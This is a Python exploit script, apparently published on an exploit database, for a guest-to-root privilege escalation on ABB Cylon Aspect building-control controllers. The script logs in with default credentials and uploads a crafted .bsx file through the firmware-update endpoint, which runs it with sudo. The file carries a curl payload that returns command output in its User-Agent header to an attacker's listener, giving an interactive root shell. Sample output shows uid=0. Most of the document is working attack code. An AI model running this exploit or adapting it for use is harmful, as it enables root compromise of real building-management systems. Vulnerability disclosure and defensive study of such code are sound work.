
8 changes to exploits/shellcodes/ghdb Java-springboot-codebase 1.1 - Arbitrary File Read ABB Cylon Aspect Studio 3.08.03 - Binary Planting ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass Microsoft Windows Server 2016 - Win32k Elevation of Privilege Windows 2024.15 - Unauthenticated Desktop Screenshot Capture
281 lines
No EOL
10 KiB
Python
Executable file
281 lines
No EOL
10 KiB
Python
Executable file
#!/usr/bin/env python
|
|
#
|
|
#
|
|
# Exploit Title: ABB Cylon Aspect 3.08.03 - Guest2Root Privilege Escalation
|
|
#
|
|
#
|
|
# Vendor: ABB Ltd.
|
|
# Product web page: https://www.global.abb
|
|
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
|
|
# Firmware: <=3.08.03
|
|
#
|
|
# Summary: ASPECT is an award-winning scalable building energy management
|
|
# and control solution designed to allow users seamless access to their
|
|
# building data through standard building protocols including smart devices.
|
|
#
|
|
# Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo
|
|
# misconfiguration flaws. An authenticated remote code execution vulnerability
|
|
# in the firmware update mechanism allows an attacker with valid credentials to
|
|
# escalate privileges and execute commands as root. The process involves uploading
|
|
# a crafted .bsx file through projectUpdateBSXFileProcess.php, which is then moved
|
|
# to htmlroot and executed by projectUpdateBSXExecute.php. This script leverages
|
|
# sudo to run the uploaded bsx file, enabling the attacker to bypass input validation
|
|
# checks and execute arbitrary code, leading to full system compromise and unauthorized
|
|
# root access.
|
|
#
|
|
# ---------------------------------------------------------------------------------
|
|
#
|
|
# $ ./bsxroot.py 192.168.73.31 192.168.73.9 --creds guest:guest
|
|
# [o] Exploit starting at 21.05.2025 12:33:47
|
|
# [o] Using credentials: guest:*****
|
|
# [o] Auth successfull.
|
|
# [o] PHPSESSID: g02p9tnog4d2r1z4eha1e9e688
|
|
# [o] Listening on 192.168.73.9:5555...
|
|
# [o] Building name: ["Tower 3"]
|
|
# [o] runtime.ver=v3.08.03
|
|
# [+] -> [virtual] rootshell
|
|
#
|
|
# # id
|
|
# uid=0(root) gid=0(root) groups=0(root)
|
|
# # pwd
|
|
# /home/MIX_CMIX/htmlroot
|
|
# exit
|
|
# [o] Removing callback file.
|
|
# [!] Connection terminated.
|
|
#
|
|
# ---------------------------------------------------------------------------------
|
|
#
|
|
#
|
|
# Tested on: GNU/Linux 3.15.10 (armv7l)
|
|
# GNU/Linux 3.10.0 (x86_64)
|
|
# GNU/Linux 2.6.32 (x86_64)
|
|
# Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
|
|
# Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
|
|
# PHP/7.3.11
|
|
# PHP/5.6.30
|
|
# PHP/5.4.16
|
|
# PHP/4.4.8
|
|
# PHP/5.3.3
|
|
# AspectFT Automation Application Server
|
|
# lighttpd/1.4.32
|
|
# lighttpd/1.4.18
|
|
# Apache/2.2.15 (CentOS)
|
|
# OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
|
|
# OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
|
|
#
|
|
#
|
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
# @zeroscience
|
|
#
|
|
#
|
|
# Advisory ID: ZSL-2025-5947
|
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5947.php
|
|
#
|
|
#
|
|
# 21.04.2024
|
|
#
|
|
#
|
|
|
|
from colorama import init, Fore
|
|
from urllib.parse import quote
|
|
from time import sleep
|
|
import threading
|
|
import datetime
|
|
import requests
|
|
import socket
|
|
import re
|
|
import os
|
|
import sys
|
|
|
|
init()
|
|
|
|
def safe(*trigger, ):
|
|
return True
|
|
|
|
def auth(target_ip, user, pwd):
|
|
login_ep = f"http://{target_ip}/validate/login.php"
|
|
payload = {
|
|
'f_user' : user, # 'aamuser, guest'
|
|
'f_pass' : pwd, # 'default, guest'
|
|
'submit' : 'Login'
|
|
}
|
|
sess = requests.Session()
|
|
r = sess.post(login_ep, data=payload)
|
|
if r.status_code == 200 and 'PHPSESSID' in sess.cookies:
|
|
print("[o] Auth successfull.")
|
|
phpsessid = sess.cookies.get('PHPSESSID')
|
|
print("[o] PHPSESSID:", phpsessid)
|
|
return sess.cookies
|
|
else:
|
|
print("[!] Auth failed.")
|
|
return None
|
|
|
|
def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):
|
|
agentwho = "NetRanger/84.19"
|
|
payload = f"curl -A \"`{cmd}`\" {listen_ip}:5555"
|
|
url = f"http://{target_ip}/projectUpdateBSXFileProcess.php"
|
|
|
|
headers = {
|
|
"Content-Type": "multipart/form-data; boundary=----zeroscience",
|
|
"User-Agent": agentwho
|
|
}
|
|
data = (
|
|
"------zeroscience\r\n"
|
|
f"Content-Disposition: form-data; name=\"userfile\"; filename={AAM}\r\n"
|
|
"Content-Type: application/octet-stream\r\n\r\n"
|
|
f"{payload}\r\n"
|
|
'------zeroscience--\r\n'
|
|
)
|
|
try:
|
|
r = requests.post(url, headers=headers, data=data, cookies=cookies)
|
|
if r.status_code == 200:
|
|
url_execute = f"http://{target_ip}/projectUpdateBSXExecute.php?file={AAM}"
|
|
r = requests.get(url_execute, cookies=cookies)
|
|
|
|
return r.content
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[!] Error sending payload: {e}")
|
|
|
|
return None
|
|
|
|
def koj_slusha(listen_ip):
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
s.bind(("0.0.0.0", 5555))
|
|
s.listen(1)
|
|
|
|
print(f"[o] Listening on {listen_ip}:5555...")
|
|
|
|
while True:
|
|
conn, addr = s.accept()
|
|
try:
|
|
data = conn.recv(9999)
|
|
if not data:
|
|
print("[!] Connection closed by remote host.")
|
|
break
|
|
dd = data.decode("utf-8", errors="ignore")
|
|
uam = re.search(r"User-Agent:\s*(.*)\s*Host:", dd, re.DOTALL)
|
|
if uam:
|
|
print(uam.group(1), end="")
|
|
else:
|
|
print
|
|
#print(f"[o] Full response:\n{dd}")
|
|
except Exception as e:
|
|
print(f"[!] Error while receiving data: {e}")
|
|
finally:
|
|
conn.close()
|
|
|
|
def main():
|
|
if safe(True):
|
|
print("\nSafety: \033[92mON\033[0m")
|
|
exit(-17)
|
|
else:
|
|
next
|
|
|
|
global AAM
|
|
global start
|
|
AAM = "firmware.bsx"
|
|
|
|
start = datetime.datetime.now()
|
|
start = start.strftime("%d.%m.%Y %H:%M:%S")
|
|
title = "\033[96mABB Cylon® ASPECT® Supervisory Building Control v3.08.03\033[0m"
|
|
subtl = "\033[95m\t\t-> Remote Root Exploit <-\033[0m"
|
|
prj = f"""
|
|
P R O J E C T\033[90m
|
|
|
|
.|
|
|
| |
|
|
|'| ._____
|
|
___ | | |. |' .---"|
|
|
_ .-' '-. | | .--'| || | _| |
|
|
.-'| _.| | || '-__ | | | || |
|
|
|' | |. | || | | | | || |
|
|
____| '-' ' "" '-' '-.' '` |____
|
|
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
|
|
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
\033[0m
|
|
{title}
|
|
{subtl}
|
|
"""
|
|
if len(sys.argv) < 4:
|
|
print(prj)
|
|
print("./bsxroot.py <targetIP> <listenIP> <PHPSESSID / --creds user:pass>")
|
|
sys.exit(-0)
|
|
|
|
target_ip = sys.argv[1]
|
|
listen_ip = sys.argv[2]
|
|
auth_arg = sys.argv[3]
|
|
|
|
print("[o] Exploit starting at", start)
|
|
|
|
if "--creds" in sys.argv:
|
|
creds_index = sys.argv.index("--creds") + 1
|
|
if creds_index >= len(sys.argv):
|
|
print("[!] Error: Missing credentials after --creds.")
|
|
sys.exit(-1)
|
|
|
|
user_pass = sys.argv[creds_index]
|
|
if ":" not in user_pass:
|
|
print("[!] Error: Invalid credentials format. Expected format: user:pass.")
|
|
sys.exit(-2)
|
|
|
|
user, pwd = user_pass.split(":")
|
|
print(f"[o] Using credentials: {user}:{'*' * len(pwd)}")
|
|
cookies = auth(target_ip, user, pwd)
|
|
else:
|
|
token = auth_arg
|
|
cookies = {"PHPSESSID": token}
|
|
if not cookies:
|
|
sys.exit(-3)
|
|
|
|
nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))
|
|
nishka.daemon = True
|
|
nishka.start()
|
|
|
|
bacname = f"http://{target_ip}/getApplicationNamesJS.php"
|
|
r = requests.get(bacname)
|
|
if r.status_code == 200:
|
|
try:
|
|
r = r.content
|
|
decor = r.decode("utf-8")
|
|
except UnicodeDecodeError:
|
|
decor = r.decode("utf-8", errors="ignore")
|
|
|
|
odg = re.search(r"var instanceDirectory=(.*?);", decor)
|
|
if odg:
|
|
cmd = "echo -ne \"[o] \" ; cat runtime/release.properties | grep -w 'runtime.ver'"
|
|
print("[o] Building name:", odg.group(1))
|
|
kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
|
|
print("\033[92m[+] -> [virtual] rootshell\033[0m\n")
|
|
else:
|
|
print("[o] Unknown building name.")
|
|
sleep(0.01)
|
|
|
|
while True:
|
|
sleep(0.01)
|
|
cmd = input("# ")
|
|
if cmd.lower() in ["exit", "quit"]:
|
|
print("[o] Removing callback file.")
|
|
kacuj(target_ip, listen_ip, "rm /tmp/" + AAM, token=None, cookies=cookies)
|
|
print("\033[91m[!] Connection terminated.\033[0m")
|
|
os._exit(-17)
|
|
|
|
kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
|
|
|
|
nishka.join()
|
|
|
|
if __name__ == "__main__":
|
|
main() |